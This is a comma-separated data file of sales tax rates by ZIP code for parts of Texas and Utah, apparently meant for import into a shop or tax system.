US-TX-79346,US,TX,79346,7.75,,,, US-TX-79347,US,TX,79347,8.25,,,, US-TX-79350,US,TX,79350,8.25,,,, US-TX-79351,US,TX,79351,7.75,,,, US-TX-79353,US,TX,79353,6.25,,,, US-TX-79355,US,TX,79355,6.25,,,, US-TX-79356,US,TX,79356,8.25,,,, US-TX-79357,US,TX,79357,8.25,,,, US-TX-79358,US,TX,79358,6.25,,,, US-TX-79359,US,TX,79359,8.25,,,, US-TX-79360,US,TX,79360,7.75,,,, US-TX-79363,US,TX,79363,6.75,,,, US-TX-79364,US,TX,79364,8.25,,,, US-TX-79366,US,TX,79366,7.25,,,, US-TX-79367,US,TX,79367,7.25,,,, US-TX-79369,US,TX,79369,6.25,,,, US-TX-79370,US,TX,79370,8.25,,,, US-TX-79371,US,TX,79371,7.75,,,, US-TX-79372,US,TX,79372,8.25,,,, US-TX-79373,US,TX,79373,8.25,,,, US-TX-79376,US,TX,79376,6.75,,,, US-TX-79377,US,TX,79377,6.75,,,, US-TX-79378,US,TX,79378,6.75,,,, US-TX-79379,US,TX,79379,7.75,,,, US-TX-79380,US,TX,79380,6.25,,,, US-TX-79381,US,TX,79381,6.75,,,, US-TX-79382,US,TX,79382,8.25,,,, US-TX-79383,US,TX,79383,7.75,,,, US-TX-79401,US,TX,79401,8.25,,,, US-TX-79402,US,TX,79402,8.25,,,, US-TX-79403,US,TX,79403,8.25,,,, US-TX-79404,US,TX,79404,8.25,,,, US-TX-79406,US,TX,79406,8.25,,,, US-TX-79407,US,TX,79407,8.25,,,, US-TX-79408,US,TX,79408,8.25,,,, US-TX-79409,US,TX,79409,8.25,,,, US-TX-79410,US,TX,79410,8.25,,,, US-TX-79411,US,TX,79411,8.25,,,, US-TX-79412,US,TX,79412,8.25,,,, US-TX-79413,US,TX,79413,8.25,,,, US-TX-79414,US,TX,79414,8.25,,,, US-TX-79415,US,TX,79415,8.25,,,, US-TX-79416,US,TX,79416,8.25,,,, US-TX-79423,US,TX,79423,8.25,,,, US-TX-79424,US,TX,79424,8.25,,,, US-TX-79430,US,TX,79430,8.25,,,, US-TX-79452,US,TX,79452,8.25,,,, US-TX-79453,US,TX,79453,8.25,,,, US-TX-79457,US,TX,79457,8.25,,,, US-TX-79464,US,TX,79464,8.25,,,, US-TX-79490,US,TX,79490,8.25,,,, US-TX-79491,US,TX,79491,8.25,,,, US-TX-79493,US,TX,79493,8.25,,,, US-TX-79499,US,TX,79499,8.25,,,, US-TX-79501,US,TX,79501,8.25,,,, US-TX-79502,US,TX,79502,8.25,,,, US-TX-79503,US,TX,79503,6.25,,,, US-TX-79504,US,TX,79504,6.25,,,, US-TX-79505,US,TX,79505,7.75,,,, US-TX-79506,US,TX,79506,6.25,,,, US-TX-79508,US,TX,79508,8.25,,,, US-TX-79510,US,TX,79510,6.25,,,, US-TX-79511,US,TX,79511,6.25,,,, US-TX-79512,US,TX,79512,8.25,,,, US-TX-79516,US,TX,79516,8.25,,,, US-TX-79517,US,TX,79517,6.75,,,, US-TX-79518,US,TX,79518,6.25,,,, US-TX-79519,US,TX,79519,6.25,,,, US-TX-79520,US,TX,79520,8.25,,,, US-TX-79521,US,TX,79521,8.25,,,, US-TX-79525,US,TX,79525,6.25,,,, US-TX-79526,US,TX,79526,6.75,,,, US-TX-79527,US,TX,79527,6.75,,,, US-TX-79528,US,TX,79528,7.25,,,, US-TX-79529,US,TX,79529,8.25,,,, US-TX-79530,US,TX,79530,6.25,,,, US-TX-79532,US,TX,79532,6.75,,,, US-TX-79533,US,TX,79533,6.25,,,, US-TX-79534,US,TX,79534,6.25,,,, US-TX-79535,US,TX,79535,6.25,,,, US-TX-79536,US,TX,79536,6.25,,,, US-TX-79537,US,TX,79537,6.25,,,, US-TX-79538,US,TX,79538,6.25,,,, US-TX-79539,US,TX,79539,6.25,,,, US-TX-79540,US,TX,79540,6.25,,,, US-TX-79541,US,TX,79541,6.25,,,, US-TX-79543,US,TX,79543,7.25,,,, US-TX-79544,US,TX,79544,6.25,,,, US-TX-79545,US,TX,79545,6.25,,,, US-TX-79546,US,TX,79546,8.25,,,, US-TX-79547,US,TX,79547,7.25,,,, US-TX-79548,US,TX,79548,6.25,,,, US-TX-79549,US,TX,79549,8.25,,,, US-TX-79550,US,TX,79550,8.25,,,, US-TX-79553,US,TX,79553,8.25,,,, US-TX-79556,US,TX,79556,8.25,,,, US-TX-79560,US,TX,79560,6.25,,,, US-TX-79561,US,TX,79561,6.25,,,, US-TX-79562,US,TX,79562,6.25,,,, US-TX-79563,US,TX,79563,8.25,,,, US-TX-79565,US,TX,79565,6.75,,,, US-TX-79566,US,TX,79566,6.25,,,, US-TX-79567,US,TX,79567,8.25,,,, US-TX-79601,US,TX,79601,8.25,,,, US-TX-79602,US,TX,79602,8.25,,,, US-TX-79603,US,TX,79603,8.25,,,, US-TX-79604,US,TX,79604,8.25,,,, US-TX-79605,US,TX,79605,8.25,,,, US-TX-79606,US,TX,79606,8.25,,,, US-TX-79607,US,TX,79607,8.25,,,, US-TX-79608,US,TX,79608,8.25,,,, US-TX-79697,US,TX,79697,8.25,,,, US-TX-79698,US,TX,79698,8.25,,,, US-TX-79699,US,TX,79699,8.25,,,, US-TX-79701,US,TX,79701,8.25,,,, US-TX-79702,US,TX,79702,8.25,,,, US-TX-79703,US,TX,79703,8.25,,,, US-TX-79704,US,TX,79704,8.25,,,, US-TX-79705,US,TX,79705,8.25,,,, US-TX-79706,US,TX,79706,6.75,,,, US-TX-79707,US,TX,79707,8.25,,,, US-TX-79708,US,TX,79708,8.25,,,, US-TX-79710,US,TX,79710,8.25,,,, US-TX-79711,US,TX,79711,8.25,,,, US-TX-79712,US,TX,79712,8.25,,,, US-TX-79713,US,TX,79713,6.25,,,, US-TX-79714,US,TX,79714,8.25,,,, US-TX-79718,US,TX,79718,6.75,,,, US-TX-79719,US,TX,79719,6.25,,,, US-TX-79720,US,TX,79720,8.25,,,, US-TX-79721,US,TX,79721,8.25,,,, US-TX-79730,US,TX,79730,6.25,,,, US-TX-79731,US,TX,79731,7.75,,,, US-TX-79733,US,TX,79733,7.25,,,, US-TX-79734,US,TX,79734,8.25,,,, US-TX-79735,US,TX,79735,8.25,,,, US-TX-79738,US,TX,79738,6.25,,,, US-TX-79739,US,TX,79739,6.25,,,, US-TX-79740,US,TX,79740,6.25,,,, US-TX-79741,US,TX,79741,8,,,, US-TX-79742,US,TX,79742,7.75,,,, US-TX-79743,US,TX,79743,6.25,,,, US-TX-79744,US,TX,79744,8.25,,,, US-TX-79745,US,TX,79745,8.25,,,, US-TX-79748,US,TX,79748,6.25,,,, US-TX-79749,US,TX,79749,6.25,,,, US-TX-79752,US,TX,79752,7.75,,,, US-TX-79754,US,TX,79754,6.25,,,, US-TX-79755,US,TX,79755,6.25,,,, US-TX-79756,US,TX,79756,8.25,,,, US-TX-79758,US,TX,79758,7,,,, US-TX-79759,US,TX,79759,8,,,, US-TX-79760,US,TX,79760,8.25,,,, US-TX-79761,US,TX,79761,8.25,,,, US-TX-79762,US,TX,79762,8.25,,,, US-TX-79763,US,TX,79763,8.25,,,, US-TX-79764,US,TX,79764,7,,,, US-TX-79765,US,TX,79765,8.25,,,, US-TX-79766,US,TX,79766,7,,,, US-TX-79768,US,TX,79768,8.25,,,, US-TX-79769,US,TX,79769,8.25,,,, US-TX-79770,US,TX,79770,6.75,,,, US-TX-79772,US,TX,79772,8.25,,,, US-TX-79776,US,TX,79776,7,,,, US-TX-79777,US,TX,79777,7.25,,,, US-TX-79778,US,TX,79778,7.75,,,, US-TX-79780,US,TX,79780,6.75,,,, US-TX-79781,US,TX,79781,6.25,,,, US-TX-79782,US,TX,79782,6.25,,,, US-TX-79783,US,TX,79783,6.25,,,, US-TX-79785,US,TX,79785,8.25,,,, US-TX-79786,US,TX,79786,6.75,,,, US-TX-79788,US,TX,79788,7.25,,,, US-TX-79789,US,TX,79789,8.25,,,, US-TX-79821,US,TX,79821,8.25,,,, US-TX-79830,US,TX,79830,8.25,,,, US-TX-79831,US,TX,79831,8.25,,,, US-TX-79832,US,TX,79832,8.25,,,, US-TX-79834,US,TX,79834,7.75,,,, US-TX-79835,US,TX,79835,7.25,,,, US-TX-79836,US,TX,79836,7.25,,,, US-TX-79837,US,TX,79837,7.25,,,, US-TX-79838,US,TX,79838,7.25,,,, US-TX-79839,US,TX,79839,6.25,,,, US-TX-79842,US,TX,79842,6.75,,,, US-TX-79843,US,TX,79843,8,,,, US-TX-79845,US,TX,79845,8.25,,,, US-TX-79846,US,TX,79846,8.25,,,, US-TX-79847,US,TX,79847,6.25,,,, US-TX-79848,US,TX,79848,7.75,,,, US-TX-79849,US,TX,79849,7.25,,,, US-TX-79851,US,TX,79851,6.25,,,, US-TX-79852,US,TX,79852,6.75,,,, US-TX-79853,US,TX,79853,7.25,,,, US-TX-79854,US,TX,79854,8.25,,,, US-TX-79855,US,TX,79855,8,,,, US-TX-79901,US,TX,79901,8.25,,,, US-TX-79902,US,TX,79902,8.25,,,, US-TX-79903,US,TX,79903,8.25,,,, US-TX-79904,US,TX,79904,8.25,,,, US-TX-79905,US,TX,79905,8.25,,,, US-TX-79906,US,TX,79906,7.25,,,, US-TX-79907,US,TX,79907,8.25,,,, US-TX-79908,US,TX,79908,7.25,,,, US-TX-79910,US,TX,79910,8.25,,,, US-TX-79911,US,TX,79911,8.25,,,, US-TX-79912,US,TX,79912,8.25,,,, US-TX-79913,US,TX,79913,8.25,,,, US-TX-79914,US,TX,79914,8.25,,,, US-TX-79915,US,TX,79915,8.25,,,, US-TX-79916,US,TX,79916,7.25,,,, US-TX-79917,US,TX,79917,8.25,,,, US-TX-79918,US,TX,79918,7.25,,,, US-TX-79920,US,TX,79920,8.25,,,, US-TX-79922,US,TX,79922,8.25,,,, US-TX-79923,US,TX,79923,8.25,,,, US-TX-79924,US,TX,79924,8.25,,,, US-TX-79925,US,TX,79925,8.25,,,, US-TX-79926,US,TX,79926,8.25,,,, US-TX-79927,US,TX,79927,8.25,,,, US-TX-79928,US,TX,79928,7.25,,,, US-TX-79929,US,TX,79929,8.25,,,, US-TX-79930,US,TX,79930,8.25,,,, US-TX-79931,US,TX,79931,8.25,,,, US-TX-79932,US,TX,79932,8.25,,,, US-TX-79934,US,TX,79934,8.25,,,, US-TX-79935,US,TX,79935,8.25,,,, US-TX-79936,US,TX,79936,8.25,,,, US-TX-79937,US,TX,79937,8.25,,,, US-TX-79938,US,TX,79938,7.25,,,, US-TX-79940,US,TX,79940,8.25,,,, US-TX-79941,US,TX,79941,8.25,,,, US-TX-79942,US,TX,79942,8.25,,,, US-TX-79943,US,TX,79943,8.25,,,, US-TX-79944,US,TX,79944,8.25,,,, US-TX-79945,US,TX,79945,8.25,,,, US-TX-79946,US,TX,79946,8.25,,,, US-TX-79947,US,TX,79947,8.25,,,, US-TX-79948,US,TX,79948,8.25,,,, US-TX-79949,US,TX,79949,8.25,,,, US-TX-79950,US,TX,79950,8.25,,,, US-TX-79951,US,TX,79951,8.25,,,, US-TX-79952,US,TX,79952,8.25,,,, US-TX-79953,US,TX,79953,8.25,,,, US-TX-79954,US,TX,79954,8.25,,,, US-TX-79955,US,TX,79955,8.25,,,, US-TX-79958,US,TX,79958,8.25,,,, US-TX-79960,US,TX,79960,8.25,,,, US-TX-79961,US,TX,79961,8.25,,,, US-TX-79968,US,TX,79968,8.25,,,, US-TX-79976,US,TX,79976,8.25,,,, US-TX-79978,US,TX,79978,8.25,,,, US-TX-79980,US,TX,79980,8.25,,,, US-TX-79990,US,TX,79990,8.25,,,, US-TX-79995,US,TX,79995,8.25,,,, US-TX-79996,US,TX,79996,8.25,,,, US-TX-79997,US,TX,79997,8.25,,,, US-TX-79998,US,TX,79998,8.25,,,, US-TX-79999,US,TX,79999,8.25,,,, US-TX-88510,US,TX,88510,8.25,,,, US-TX-88511,US,TX,88511,8.25,,,, US-TX-88512,US,TX,88512,8.25,,,, US-TX-88513,US,TX,88513,8.25,,,, US-TX-88514,US,TX,88514,8.25,,,, US-TX-88515,US,TX,88515,8.25,,,, US-TX-88517,US,TX,88517,8.25,,,, US-TX-88518,US,TX,88518,8.25,,,, US-TX-88519,US,TX,88519,8.25,,,, US-TX-88520,US,TX,88520,8.25,,,, US-TX-88521,US,TX,88521,8.25,,,, US-TX-88523,US,TX,88523,8.25,,,, US-TX-88524,US,TX,88524,8.25,,,, US-TX-88525,US,TX,88525,8.25,,,, US-TX-88526,US,TX,88526,8.25,,,, US-TX-88527,US,TX,88527,8.25,,,, US-TX-88528,US,TX,88528,8.25,,,, US-TX-88529,US,TX,88529,8.25,,,, US-TX-88530,US,TX,88530,8.25,,,, US-TX-88531,US,TX,88531,8.25,,,, US-TX-88532,US,TX,88532,8.25,,,, US-TX-88533,US,TX,88533,8.25,,,, US-TX-88534,US,TX,88534,8.25,,,, US-TX-88535,US,TX,88535,8.25,,,, US-TX-88536,US,TX,88536,8.25,,,, US-TX-88538,US,TX,88538,8.25,,,, US-TX-88539,US,TX,88539,8.25,,,, US-TX-88540,US,TX,88540,8.25,,,, US-TX-88541,US,TX,88541,8.25,,,, US-TX-88542,US,TX,88542,8.25,,,, US-TX-88543,US,TX,88543,8.25,,,, US-TX-88544,US,TX,88544,8.25,,,, US-TX-88545,US,TX,88545,8.25,,,, US-TX-88546,US,TX,88546,8.25,,,, US-TX-88547,US,TX,88547,8.25,,,, US-TX-88548,US,TX,88548,8.25,,,, US-TX-88549,US,TX,88549,8.25,,,, US-TX-88550,US,TX,88550,8.25,,,, US-TX-88553,US,TX,88553,8.25,,,, US-TX-88554,US,TX,88554,8.25,,,, US-TX-88555,US,TX,88555,8.25,,,, US-TX-88556,US,TX,88556,8.25,,,, US-TX-88557,US,TX,88557,8.25,,,, US-TX-88558,US,TX,88558,8.25,,,, US-TX-88559,US,TX,88559,8.25,,,, US-TX-88560,US,TX,88560,8.25,,,, US-TX-88561,US,TX,88561,8.25,,,, US-TX-88562,US,TX,88562,8.25,,,, US-TX-88563,US,TX,88563,8.25,,,, US-TX-88565,US,TX,88565,8.25,,,, US-TX-88566,US,TX,88566,8.25,,,, US-TX-88567,US,TX,88567,8.25,,,, US-TX-88568,US,TX,88568,8.25,,,, US-TX-88569,US,TX,88569,8.25,,,, US-TX-88570,US,TX,88570,8.25,,,, US-TX-88571,US,TX,88571,8.25,,,, US-TX-88572,US,TX,88572,8.25,,,, US-TX-88573,US,TX,88573,8.25,,,, US-TX-88574,US,TX,88574,8.25,,,, US-TX-88575,US,TX,88575,8.25,,,, US-TX-88576,US,TX,88576,8.25,,,, US-TX-88577,US,TX,88577,8.25,,,, US-TX-88578,US,TX,88578,8.25,,,, US-TX-88579,US,TX,88579,8.25,,,, US-TX-88580,US,TX,88580,8.25,,,, US-TX-88581,US,TX,88581,8.25,,,, US-TX-88582,US,TX,88582,8.25,,,, US-TX-88583,US,TX,88583,8.25,,,, US-TX-88584,US,TX,88584,8.25,,,, US-TX-88585,US,TX,88585,8.25,,,, US-TX-88586,US,TX,88586,8.25,,,, US-TX-88587,US,TX,88587,8.25,,,, US-TX-88588,US,TX,88588,8.25,,,, US-TX-88589,US,TX,88589,8.25,,,, US-TX-88590,US,TX,88590,8.25,,,, US-TX-88595,US,TX,88595,8.25,,,, US-UT-84001,US,UT,84001,5.95,,,, US-UT-84002,US,UT,84002,5.95,,,, US-UT-84003,US,UT,84003,6.75,,,, US-UT-84004,US,UT,84004,6.75,,,, US-UT-84005,US,UT,84005,6.75,,,, US-UT-84006,US,UT,84006,6.85,,,, US-UT-84007,US,UT,84007,5.95,,,, US-UT-84010,US,UT,84010,6.6,,,, US-UT-84011,US,UT,84011,6.6,,,, US-UT-84013,US,UT,84013,6.75,,,, US-UT-84014,US,UT,84014,6.6,,,, US-UT-84015,US,UT,84015,6.5,,,, US-UT-84016,US,UT,84016,6.5,,,, US-UT-84017,US,UT,84017,6.05,,,, US-UT-84018,US,UT,84018,5.95,,,, US-UT-84020,US,UT,84020,6.85,,,, US-UT-84021,US,UT,84021,6.05,,,, US-UT-84022,US,UT,84022,5.95,,,, US-UT-84023,US,UT,84023,6.95,,,, US-UT-84024,US,UT,84024,6.05,,,, US-UT-84025,US,UT,84025,6.5,,,, US-UT-84026,US,UT,84026,6.05,,,, US-UT-84027,US,UT,84027,6.05,,,, US-UT-84028,US,UT,84028,7.55,,,, US-UT-84029,US,UT,84029,6.25,,,, US-UT-84031,US,UT,84031,5.95,,,, US-UT-84032,US,UT,84032,6.25,,,, US-UT-84033,US,UT,84033,6.05,,,, US-UT-84035,US,UT,84035,6.05,,,, US-UT-84036,US,UT,84036,6.05,,,, US-UT-84037,US,UT,84037,6.5,,,, US-UT-84038,US,UT,84038,5.95,,,, US-UT-84039,US,UT,84039,6.05,,,, US-UT-84040,US,UT,84040,6.5,,,, US-UT-84041,US,UT,84041,6.5,,,, US-UT-84042,US,UT,84042,6.75,,,, US-UT-84043,US,UT,84043,6.75,,,, US-UT-84044,US,UT,84044,6.85,,,, US-UT-84045,US,UT,84045,6.75,,,, US-UT-84046,US,UT,84046,6.95,,,, US-UT-84047,US,UT,84047,6.85,,,, US-UT-84049,US,UT,84049,7.35,,,, US-UT-84050,US,UT,84050,5.95,,,, US-UT-84051,US,UT,84051,5.95,,,, US-UT-84052,US,UT,84052,5.95,,,, US-UT-84053,US,UT,84053,5.95,,,, US-UT-84054,US,UT,84054,6.6,,,, US-UT-84055,US,UT,84055,6.05,,,, US-UT-84056,US,UT,84056,6.5,,,, US-UT-84057,US,UT,84057,6.85,,,, US-UT-84058,US,UT,84058,6.85,,,, US-UT-84059,US,UT,84059,6.85,,,, US-UT-84060,US,UT,84060,7.95,,,, US-UT-84061,US,UT,84061,6.05,,,, US-UT-84062,US,UT,84062,6.75,,,, US-UT-84063,US,UT,84063,6.05,,,, US-UT-84064,US,UT,84064,5.95,,,, US-UT-84065,US,UT,84065,6.85,,,, US-UT-84066,US,UT,84066,6.35,,,, US-UT-84067,US,UT,84067,6.85,,,, US-UT-84068,US,UT,84068,7.95,,,, US-UT-84069,US,UT,84069,5.95,,,, US-UT-84070,US,UT,84070,6.85,,,, US-UT-84071,US,UT,84071,5.95,,,, US-UT-84072,US,UT,84072,5.95,,,, US-UT-84073,US,UT,84073,5.95,,,, US-UT-84074,US,UT,84074,6.35,,,, US-UT-84075,US,UT,84075,6.5,,,, US-UT-84076,US,UT,84076,6.05,,,, US-UT-84078,US,UT,84078,6.05,,,, US-UT-84079,US,UT,84079,6.35,,,, US-UT-84080,US,UT,84080,5.95,,,, US-UT-84081,US,UT,84081,6.85,,,, US-UT-84082,US,UT,84082,5.95,,,, US-UT-84083,US,UT,84083,5.95,,,, US-UT-84084,US,UT,84084,6.85,,,, US-UT-84085,US,UT,84085,6.05,,,, US-UT-84086,US,UT,84086,5.95,,,, US-UT-84087,US,UT,84087,6.6,,,, US-UT-84088,US,UT,84088,6.85,,,, US-UT-84089,US,UT,84089,6.5,,,, US-UT-84090,US,UT,84090,6.85,,,, US-UT-84091,US,UT,84091,6.85,,,, US-UT-84092,US,UT,84092,6.85,,,, US-UT-84093,US,UT,84093,6.85,,,, US-UT-84094,US,UT,84094,6.85,,,, US-UT-84095,US,UT,84095,6.85,,,, US-UT-84096,US,UT,84096,6.85,,,, US-UT-84097,US,UT,84097,6.85,,,, US-UT-84098,US,UT,84098,6.35,,,, US-UT-84101,US,UT,84101,6.85,,,, US-UT-84102,US,UT,84102,6.85,,,, US-UT-84103,US,UT,84103,6.85,,,, US-UT-84104,US,UT,84104,6.85,,,, US-UT-84105,US,UT,84105,6.85,,,, US-UT-84106,US,UT,84106,6.85,,,, US-UT-84107,US,UT,84107,6.85,,,, US-UT-84108,US,UT,84108,6.85,,,, US-UT-84109,US,UT,84109,6.85,,,, US-UT-84110,US,UT,84110,6.85,,,, US-UT-84111,US,UT,84111,6.85,,,, US-UT-84112,US,UT,84112,6.85,,,, US-UT-84113,US,UT,84113,6.85,,,, US-UT-84114,US,UT,84114,6.85,,,, US-UT-84115,US,UT,84115,7.05,,,, US-UT-84116,US,UT,84116,6.85,,,, US-UT-84117,US,UT,84117,6.85,,,, US-UT-84118,US,UT,84118,6.85,,,, US-UT-84119,US,UT,84119,6.85,,,, US-UT-84120,US,UT,84120,6.85,,,, US-UT-84121,US,UT,84121,6.85,,,, US-UT-84122,US,UT,84122,7.05,,,, US-UT-84123,US,UT,84123,6.85,,,, US-UT-84124,US,UT,84124,6.85,,,, US-UT-84125,US,UT,84125,6.85,,,, US-UT-84126,US,UT,84126,6.85,,,, US-UT-84127,US,UT,84127,6.85,,,, US-UT-84128,US,UT,84128,6.85,,,, US-UT-84129,US,UT,84129,6.85,,,, US-UT-84130,US,UT,84130,6.85,,,, US-UT-84131,US,UT,84131,6.85,,,, US-UT-84132,US,UT,84132,6.85,,,, US-UT-84133,US,UT,84133,6.85,,,, US-UT-84134,US,UT,84134,6.85,,,, US-UT-84136,US,UT,84136,6.85,,,, US-UT-84138,US,UT,84138,6.85,,,, US-UT-84139,US,UT,84139,6.85,,,, US-UT-84141,US,UT,84141,6.85,,,, US-UT-84143,US,UT,84143,6.85,,,, US-UT-84145,US,UT,84145,6.85,,,, US-UT-84147,US,UT,84147,6.85,,,, US-UT-84148,US,UT,84148,6.85,,,, US-UT-84150,US,UT,84150,6.85,,,, US-UT-84151,US,UT,84151,6.85,,,, US-UT-84152,US,UT,84152,6.85,,,, US-UT-84157,US,UT,84157,6.85,,,, US-UT-84158,US,UT,84158,6.85,,,, US-UT-84165,US,UT,84165,7.05,,,, US-UT-84170,US,UT,84170,6.85,,,, US-UT-84171,US,UT,84171,6.85,,,, US-UT-84180,US,UT,84180,6.85,,,, US-UT-84184,US,UT,84184,6.85,,,, US-UT-84189,US,UT,84189,6.85,,,, US-UT-84190,US,UT,84190,6.85,,,, US-UT-84199,US,UT,84199,6.85,,,, US-UT-84201,US,UT,84201,6.85,,,, US-UT-84244,US,UT,84244,6.85,,,, US-UT-84301,US,UT,84301,5.95,,,, US-UT-84302,US,UT,84302,6.5,,,, US-UT-84304,US,UT,84304,6.3,,,, US-UT-84305,US,UT,84305,6.3,,,, US-UT-84306,US,UT,84306,5.95,,,, US-UT-84307,US,UT,84307,5.95,,,, US-UT-84308,US,UT,84308,6.3,,,, US-UT-84309,US,UT,84309,5.95,,,, US-UT-84310,US,UT,84310,6.85,,,, US-UT-84311,US,UT,84311,5.95,,,, US-UT-84312,US,UT,84312,5.95,,,, US-UT-84313,US,UT,84313,5.95,,,, US-UT-84314,US,UT,84314,5.95,,,, US-UT-84315,US,UT,84315,6.85,,,, US-UT-84316,US,UT,84316,5.95,,,, US-UT-84317,US,UT,84317,6.85,,,, US-UT-84318,US,UT,84318,6.55,,,, US-UT-84319,US,UT,84319,6.6,,,, US-UT-84320,US,UT,84320,6.55,,,, US-UT-84321,US,UT,84321,6.6,,,, US-UT-84322,US,UT,84322,6.6,,,, US-UT-84323,US,UT,84323,6.6,,,, US-UT-84324,US,UT,84324,5.95,,,, US-UT-84325,US,UT,84325,6.3,,,, US-UT-84326,US,UT,84326,6.55,,,, US-UT-84327,US,UT,84327,6.3,,,, US-UT-84328,US,UT,84328,6.3,,,, US-UT-84329,US,UT,84329,5.95,,,, US-UT-84330,US,UT,84330,5.95,,,, US-UT-84331,US,UT,84331,5.95,,,, US-UT-84332,US,UT,84332,6.6,,,, US-UT-84333,US,UT,84333,6.6,,,, US-UT-84334,US,UT,84334,5.95,,,, US-UT-84335,US,UT,84335,6.6,,,, US-UT-84336,US,UT,84336,5.95,,,, US-UT-84337,US,UT,84337,5.95,,,, US-UT-84338,US,UT,84338,6.3,,,, US-UT-84339,US,UT,84339,6.3,,,, US-UT-84340,US,UT,84340,5.95,,,, US-UT-84341,US,UT,84341,6.6,,,, US-UT-84401,US,UT,84401,6.85,,,, US-UT-84402,US,UT,84402,6.85,,,, US-UT-84403,US,UT,84403,6.85,,,, US-UT-84404,US,UT,84404,6.85,,,, US-UT-84405,US,UT,84405,7.05,,,, US-UT-84407,US,UT,84407,6.85,,,, US-UT-84408,US,UT,84408,6.85,,,, US-UT-84409,US,UT,84409,6.85,,,, US-UT-84412,US,UT,84412,6.85,,,, US-UT-84414,US,UT,84414,6.85,,,, US-UT-84415,US,UT,84415,6.85,,,, US-UT-84501,US,UT,84501,6.35,,,, US-UT-84510,US,UT,84510,6.35,,,, US-UT-84511,US,UT,84511,6.35,,,, US-UT-84512,US,UT,84512,5.95,,,, US-UT-84513,US,UT,84513,5.95,,,, US-UT-84516,US,UT,84516,5.95,,,, US-UT-84518,US,UT,84518,5.95,,,, US-UT-84520,US,UT,84520,5.95,,,, US-UT-84521,US,UT,84521,5.95,,,, US-UT-84522,US,UT,84522,5.95,,,, US-UT-84523,US,UT,84523,5.95,,,, US-UT-84525,US,UT,84525,7.75,,,, US-UT-84526,US,UT,84526,5.95,,,, US-UT-84528,US,UT,84528,5.95,,,, US-UT-84529,US,UT,84529,5.95,,,, US-UT-84530,US,UT,84530,5.95,,,, US-UT-84531,US,UT,84531,5.95,,,, US-UT-84532,US,UT,84532,7.85,,,, US-UT-84533,US,UT,84533,5.95,,,, US-UT-84534,US,UT,84534,6.35,,,, US-UT-84535,US,UT,84535,6.35,,,, US-UT-84536,US,UT,84536,5.95,,,, US-UT-84537,US,UT,84537,5.95,,,, US-UT-84539,US,UT,84539,5.95,,,, US-UT-84540,US,UT,84540,5.95,,,, US-UT-84542,US,UT,84542,6.25,,,, US-UT-84601,US,UT,84601,6.75,,,, US-UT-84602,US,UT,84602,6.75,,,, US-UT-84603,US,UT,84603,6.75,,,, US-UT-84604,US,UT,84604,6.75,,,, US-UT-84605,US,UT,84605,6.75,,,, US-UT-84606,US,UT,84606,6.75,,,, US-UT-84620,US,UT,84620,6.05,,,, US-UT-84621,US,UT,84621,6.35,,,, US-UT-84622,US,UT,84622,6.35,,,, US-UT-84623,US,UT,84623,5.95,,,, US-UT-84624,US,UT,84624,5.95,,,, US-UT-84626,US,UT,84626,6.75,,,, US-UT-84627,US,UT,84627,6.25,,,, US-UT-84628,US,UT,84628,5.95,,,, US-UT-84629,US,UT,84629,5.95,,,, US-UT-84630,US,UT,84630,5.95,,,, US-UT-84631,US,UT,84631,5.95,,,, US-UT-84632,US,UT,84632,5.95,,,, US-UT-84633,US,UT,84633,6.75,,,, US-UT-84634,US,UT,84634,6.35,,,, US-UT-84635,US,UT,84635,5.95,,,, US-UT-84636,US,UT,84636,5.95,,,, US-UT-84637,US,UT,84637,5.95,,,, US-UT-84638,US,UT,84638,5.95,,,, US-UT-84639,US,UT,84639,5.95,,,, US-UT-84640,US,UT,84640,5.95,,,, US-UT-84642,US,UT,84642,5.95,,,, US-UT-84643,US,UT,84643,6.05,,,, US-UT-84644,US,UT,84644,5.95,,,, US-UT-84645,US,UT,84645,5.95,,,, US-UT-84646,US,UT,84646,5.95,,,, US-UT-84647,US,UT,84647,6.25,,,, US-UT-84648,US,UT,84648,6.25,,,, US-UT-84649,US,UT,84649,5.95,,,, US-UT-84651,US,UT,84651,6.75,,,, US-UT-84652,US,UT,84652,6.05,,,, US-UT-84653,US,UT,84653,6.75,,,, US-UT-84654,US,UT,84654,6.35,,,, US-UT-84655,US,UT,84655,6.75,,,, US-UT-84656,US,UT,84656,5.95,,,, US-UT-84657,US,UT,84657,5.95,,,, US-UT-84660,US,UT,84660,6.75,,,, US-UT-84662,US,UT,84662,5.95,,,, US-UT-84663,US,UT,84663,6.75,,,, US-UT-84664,US,UT,84664,6.75,,,, US-UT-84665,US,UT,84665,5.95,,,, US-UT-84667,US,UT,84667,5.95,,,, US-UT-84701,US,UT,84701,6.35,,,, US-UT-84710,US,UT,84710,6.95,,,, US-UT-84711,US,UT,84711,5.95,,,, US-UT-84712,US,UT,84712,5.95,,,, US-UT-84713,US,UT,84713,6.95,,,, US-UT-84714,US,UT,84714,5.95,,,, US-UT-84715,US,UT,84715,5.95,,,, US-UT-84716,US,UT,84716,6.95,,,, US-UT-84718,US,UT,84718,7.95,,,, US-UT-84719,US,UT,84719,5.95,,,, US-UT-84720,US,UT,84720,6.05,,,, US-UT-84721,US,UT,84721,6.05,,,, US-UT-84722,US,UT,84722,5.95,,,, US-UT-84723,US,UT,84723,5.95,,,, US-UT-84724,US,UT,84724,5.95,,,, US-UT-84725,US,UT,84725,5.95,,,, US-UT-84726,US,UT,84726,6.95,,,, US-UT-84728,US,UT,84728,5.95,,,, US-UT-84729,US,UT,84729,6.95,,,, US-UT-84730,US,UT,84730,5.95,,,, US-UT-84733,US,UT,84733,5.95,,,, US-UT-84734,US,UT,84734,5.95,,,, US-UT-84735,US,UT,84735,6.95,,,, US-UT-84736,US,UT,84736,6.95,,,, US-UT-84737,US,UT,84737,6.25,,,, US-UT-84738,US,UT,84738,6.25,,,, US-UT-84739,US,UT,84739,5.95,,,, US-UT-84740,US,UT,84740,5.95,,,, US-UT-84741,US,UT,84741,7.95,,,, US-UT-84742,US,UT,84742,5.95,,,, US-UT-84743,US,UT,84743,5.95,,,, US-UT-84744,US,UT,84744,5.95,,,, US-UT-84745,US,UT,84745,6.25,,,, US-UT-84746,US,UT,84746,6.25,,,, US-UT-84747,US,UT,84747,5.95,,,, US-UT-84749,US,UT,84749,5.95,,,, US-UT-84750,US,UT,84750,5.95,,,, US-UT-84751,US,UT,84751,5.95,,,, US-UT-84752,US,UT,84752,5.95,,,, US-UT-84753,US,UT,84753,5.95,,,, US-UT-84754,US,UT,84754,5.95,,,, US-UT-84755,US,UT,84755,7.95,,,, US-UT-84756,US,UT,84756,5.95,,,, US-UT-84757,US,UT,84757,5.95,,,, US-UT-84758,US,UT,84758,7.95,,,, US-UT-84759,US,UT,84759,7.95,,,, 